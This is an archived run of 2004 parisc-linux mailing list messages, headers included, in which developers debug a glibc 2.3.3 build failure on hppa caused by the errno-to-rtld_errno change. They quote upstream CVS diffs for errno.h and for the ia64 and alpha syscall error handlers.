> Cheers,
> Carlos.
> 
mmm good idea but with exactely the same env (ie same binutils, same gcc,=

same kernel, same nfs server and client) I reach to build glibc cvs 2004
09 30 + your patch with same index (even complet test) without pb but for=

later cvs (ie 2004 10 0[1234567] it failed.

Fwiw I check and configure script: no change?
Is there some include file which could change its behaviour?

That said, I can force ranlib with --enable-ranlib but unfortunately the
build  just failed:(
I try to have a look in precompiled elf/rtld.i but I didn't yet find wher=
e
errno is requested in set_dp?
(ooh iirc something was changed regarfing __errno in upstream:
<http://sources.redhat.com/cgi-bin/cvsweb.cgi/libc/include/errno.h.diff?c=
vsroot=3Dglibc&only_with_tag=3Dfedora-branch&r1=3D1.11&r2=3D1.11.2.1>
i.e.:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /cvs/glibc/libc/include/errno.h,v
retrieving revision 1.11
retrieving revision 1.11.2.1
diff -u -r1.11 -r1.11.2.1
--- libc/include/errno.h	2002/12/31 20:33:33	1.11
+++ libc/include/errno.h	2004/10/05 08:25:13	1.11.2.1
@@ -14,8 +14,8 @@
    so a single (hidden) global variable is all it needs.  */
 
 #  undef  errno
-#  define errno errno		/* For #ifndef errno tests.  */
-extern int errno attribute_hidden;
+#  define errno rtld_errno
+extern int rtld_errno attribute_hidden;

=3D=3D=3D=3D=3D=3D=3D
So certainly where I have to check?

Thanks,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
..
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3
Date: Thu, 7 Oct 2004 19:03:27 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <4161729B00001526@mail-1-bnl.tiscali.it>
References: <4161729B000014F1@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624491 25984 80.91.229.3 (22 Nov 2014 02:48:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:11 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26879 invoked by uid 65534); 7 Oct 2004 17:04:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 07 Oct 2004 19:04:55 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7DC4F3BD31; Thu,  7 Oct 2004 11:04:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09057-07; Thu, 7 Oct 2004 11:04:25 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DE4CA3BDCE; Thu,  7 Oct 2004 11:04:08 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14ACA3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 11:04:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08751-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Oct 2004 11:04:02 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E47113BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 11:04:01 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 9BE0149473F; Thu,  7 Oct 2004 11:04:01 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-1-bnl.tiscali.it (mail-1-bnl.tiscali.it [213.205.33.221])
	by palinux.hppa (Postfix) with ESMTP id EF9AE494734
	for <parisc-linux@parisc-linux.org>;
	Thu,  7 Oct 2004 11:04:00 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Thu, 7 Oct 2004 19:03:27 +0200
In-Reply-To: <4161729B000014F1@mail-1-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24966

Carlos, 

I need more help
> <http://sources.redhat.com/cgi-bin/cvsweb.cgi/libc/include/errno.h.diff=
?cvsroot=3Dglibc&only_with_tag=3Dfedora-branch&r1=3D1.11&r2=3D1.11.2.1>
> i.e.:
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> RCS file: /cvs/glibc/libc/include/errno.h,v
> retrieving revision 1.11
> retrieving revision 1.11.2.1
> diff -u -r1.11 -r1.11.2.1
> --- libc/include/errno.h	2002/12/31 20:33:33	1.11
> +++ libc/include/errno.h	2004/10/05 08:25:13	1.11.2.1
> @@ -14,8 +14,8 @@
>     so a single (hidden) global variable is all it needs.  */
> 
>  #  undef  errno
> -#  define errno errno		/* For #ifndef errno tests.  */
> -extern int errno attribute_hidden;
> +#  define errno rtld_errno
> +extern int rtld_errno attribute_hidden;
> 
> =3D=3D=3D=3D=3D=3D=3D
> So certainly where I have to check?
> 
I look forward and encounter:
<http://sources.redhat.com/ml/glibc-cvs/2004-q4/msg00074.html>

It seems an evidence to just change errno to rtld_errno symbol for those
other arch but for hppa I realy didn't encounter this variable name, what=

did I missed (certanly a macro but which one?)

Thanks again,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
..
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3
Date: Fri, 8 Oct 2004 08:00:53 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <41617557000010DC@mail-6-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624492 25988 80.91.229.3 (22 Nov 2014 02:48:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19889 invoked by uid 65534); 8 Oct 2004 06:02:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx030) with SMTP; 08 Oct 2004 08:02:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E5D223BDCE; Fri,  8 Oct 2004 00:02:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16046-05; Fri, 8 Oct 2004 00:02:03 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B502B3BDD6; Fri,  8 Oct 2004 00:01:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 090033BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 00:01:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16033-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 8 Oct 2004 00:01:31 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6FFB23BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 00:01:30 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id B1ADF494747; Fri,  8 Oct 2004 00:01:29 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-6-bnl.tiscali.it (mail-6-bnl.tiscali.it [213.205.33.226])
	by palinux.hppa (Postfix) with ESMTP id 2C9F1494734
	for <parisc-linux@parisc-linux.org>;
	Fri,  8 Oct 2004 00:01:29 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Fri, 8 Oct 2004 08:00:53 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24967

> -- Original Message --
> Date: Thu, 7 Oct 2004 18:39:40 -0400
> From: Carlos O'Donell <carlos@baldric.uwo.ca>
> To: Joel Soete <soete.joel@tiscali.be>
> Cc: parisc-linux@parisc-linux.org
> Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3
>
>
> > I look forward and encounter:
> > <http://sources.redhat.com/ml/glibc-cvs/2004-q4/msg00074.html>
> >
> > It seems an evidence to just change errno to rtld_errno symbol for th=
ose
> > other arch but for hppa I realy didn't encounter this variable name,
what
> > did I missed (certanly a macro but which one?)
>
> Please please please, if you are going to quote other arches, read the
> code before commenting.
>
> i386 code is ancient and manipulates errno directly. We use the generic=

> code which is always kept up to date. Notice how alpha and ia64 didn't
> need to be fixed? Neither do we :)
>
Sorry to be so lazy (just a bit tired, appologies), here are the ref to
likewise modifications:
<http://sources.redhat.com/cgi-bin/cvsweb.cgi/libc/sysdeps/unix/sysv/linu=
x/ia64/sysdep.S.diff?cvsroot=3Dglibc&r1=3D1.8&r2=3D1.9>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /cvs/glibc/libc/sysdeps/unix/sysv/linux/ia64/sysdep.S,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -r1.8 -r1.9
--- libc/sysdeps/unix/sysv/linux/ia64/sysdep.S	2004/05/04 16:46:06	1.8
+++ libc/sysdeps/unix/sysv/linux/ia64/sysdep.S	2004/10/04 20:59:36	1.9
@@ -30,7 +30,7 @@
 	 * be fine.  Otherwise, we would have to first load the global
 	 * pointer register from __gp.
 	 */
-	addl	r2=3D@gprel(errno),gp
+	addl	r2=3D@gprel(rtld_errno),gp
 	;;
 	st4	[r2]=3Dr8
 	mov	r8=3D-1
<http://sources.redhat.com/cgi-bin/cvsweb.cgi/libc/sysdeps/unix/alpha/sys=
dep.h.diff?cvsroot=3Dglibc&r1=3D1.25&r2=3D1.26>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /cvs/glibc/libc/sysdeps/unix/alpha/sysdep.h,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -r1.25 -r1.26
--- libc/sysdeps/unix/alpha/sysdep.h	2004/09/26 17:40:31	1.25
+++ libc/sysdeps/unix/alpha/sysdep.h	2004/10/04 20:59:38	1.26
@@ -82,7 +82,7 @@
 #if RTLD_PRIVATE_ERRNO
 # define SYSCALL_ERROR_LABEL	$syscall_error
 # define SYSCALL_ERROR_HANDLER			\
-	stl	v0, errno(gp)	!gprel;		\
+	stl	v0, rtld_errno(gp)	!gprel;	\
 	lda	v0, -1;				\
 	ret
 #elif defined(PIC)

pfff, 'thuth is out there' :)

Thanks for your attention,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
..
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3
Date: Thu, 7 Oct 2004 18:39:40 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20041007223940.GM24430@baldric.uwo.ca>
References: <4161729B000014F1@mail-1-bnl.tiscali.it>
	<4161729B00001526@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624492 25991 80.91.229.3 (22 Nov 2014 02:48:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14063 invoked by uid 65534); 7 Oct 2004 22:40:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 08 Oct 2004 00:40:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 967B43BC80; Thu,  7 Oct 2004 16:40:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12194-03; Thu, 7 Oct 2004 16:40:43 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8E71A3BDCE; Thu,  7 Oct 2004 16:40:23 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C92F43BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 16:40:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11502-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 7 Oct 2004 16:40:16 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9D5273BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  7 Oct 2004 16:40:16 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 3CAC749473F; Thu,  7 Oct 2004 16:40:16 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id D313C494734
	for <parisc-linux@parisc-linux.org>;
	Thu,  7 Oct 2004 16:40:15 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CFgvF-0004Dj-00; Thu, 07 Oct 2004 18:39:41 -0400
Content-Disposition: inline
In-Reply-To: <4161729B00001526@mail-1-bnl.tiscali.it>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (13% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24968

> I look forward and encounter:
> <http://sources.redhat.com/ml/glibc-cvs/2004-q4/msg00074.html>
> 
> It seems an evidence to just change errno to rtld_errno symbol for those
> other arch but for hppa I realy didn't encounter this variable name, what
> did I missed (certanly a macro but which one?)

Please please please, if you are going to quote other arches, read the
code before commenting.

i386 code is ancient and manipulates errno directly. We use the generic
code which is always kept up to date. Notice how alpha and ia64 didn't
need to be fixed? Neither do we :)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3
Date: Fri, 8 Oct 2004 13:01:06 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20041008170106.GW24430@baldric.uwo.ca>
References: <41617557000010DC@mail-6-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624492 25995 80.91.229.3 (22 Nov 2014 02:48:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9500 invoked by uid 65534); 8 Oct 2004 17:03:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx019) with SMTP; 08 Oct 2004 19:03:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 96B903BDCE; Fri,  8 Oct 2004 11:02:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21946-09; Fri, 8 Oct 2004 11:02:53 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9589F3BE0A; Fri,  8 Oct 2004 11:01:20 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4464E3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 11:01:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22134-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 8 Oct 2004 11:01:11 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D9AAA3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  8 Oct 2004 11:01:10 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 5D4B5494747; Fri,  8 Oct 2004 11:01:10 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id EB8284940AE
	for <parisc-linux@parisc-linux.org>;
	Fri,  8 Oct 2004 11:01:09 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CFy78-0004yh-00; Fri, 08 Oct 2004 13:01:06 -0400
Content-Disposition: inline
In-Reply-To: <41617557000010DC@mail-6-bnl.tiscali.it>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (13% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24969

On Fri, Oct 08, 2004 at 08:00:53AM +0200, Joel Soete wrote:
> Sorry to be so lazy (just a bit tired, appologies), here are the ref to
> pfff, 'thuth is out there' :)

The only problem might exist if __errno_location does not return the
proper address of rltd_errno when RTLD_PRIVATE_ERRNO is defined. It
should. If it doesn't then our definition of
SYSCALL_ERRNO_HANDLER should change in that situation (away from
DEFAULT_SYSCALL_ERROR_HANDLER which is set to __errno_location).

All we want is that SYSCALL_ERRNO_HANDLER act as a function that returns
the address of an int, into which we write the syscall error value.

Read the code in:

libc/sysdeps/generic/errno-loc.c
libc/sysdeps/generic/errno.c
libc/sysdeps/unix/sysv/linux/hppa/sysdep.h

The last file defines the syscall wrappers and their usage of
SYSCALL_ERRNO_HANDLER.

c.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@stusta.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch] fix unterminated comment in asm-parisc/som.h
Date: Fri, 8 Oct 2004 14:47:55 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20041008124754.GH5227__47733.6158430718$1416624493$gmane$org@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624493 25996 80.91.229.3 (22 Nov 2014 02:48:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:13 +0000 (UTC)
Cc: grundler@parisc-linux.org,
 parisc-linux@parisc-linux.org,
 linux-kernel@vger.kernel.org
To: matthew@wil.cx,
 Marcelo Tosatti <marcelo.tosatti@cyclades.com>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <linux-kernel-owner+deller=40gmx.de-S269883AbUJHMsg@vger.kernel.org>
X-Flags: 0000
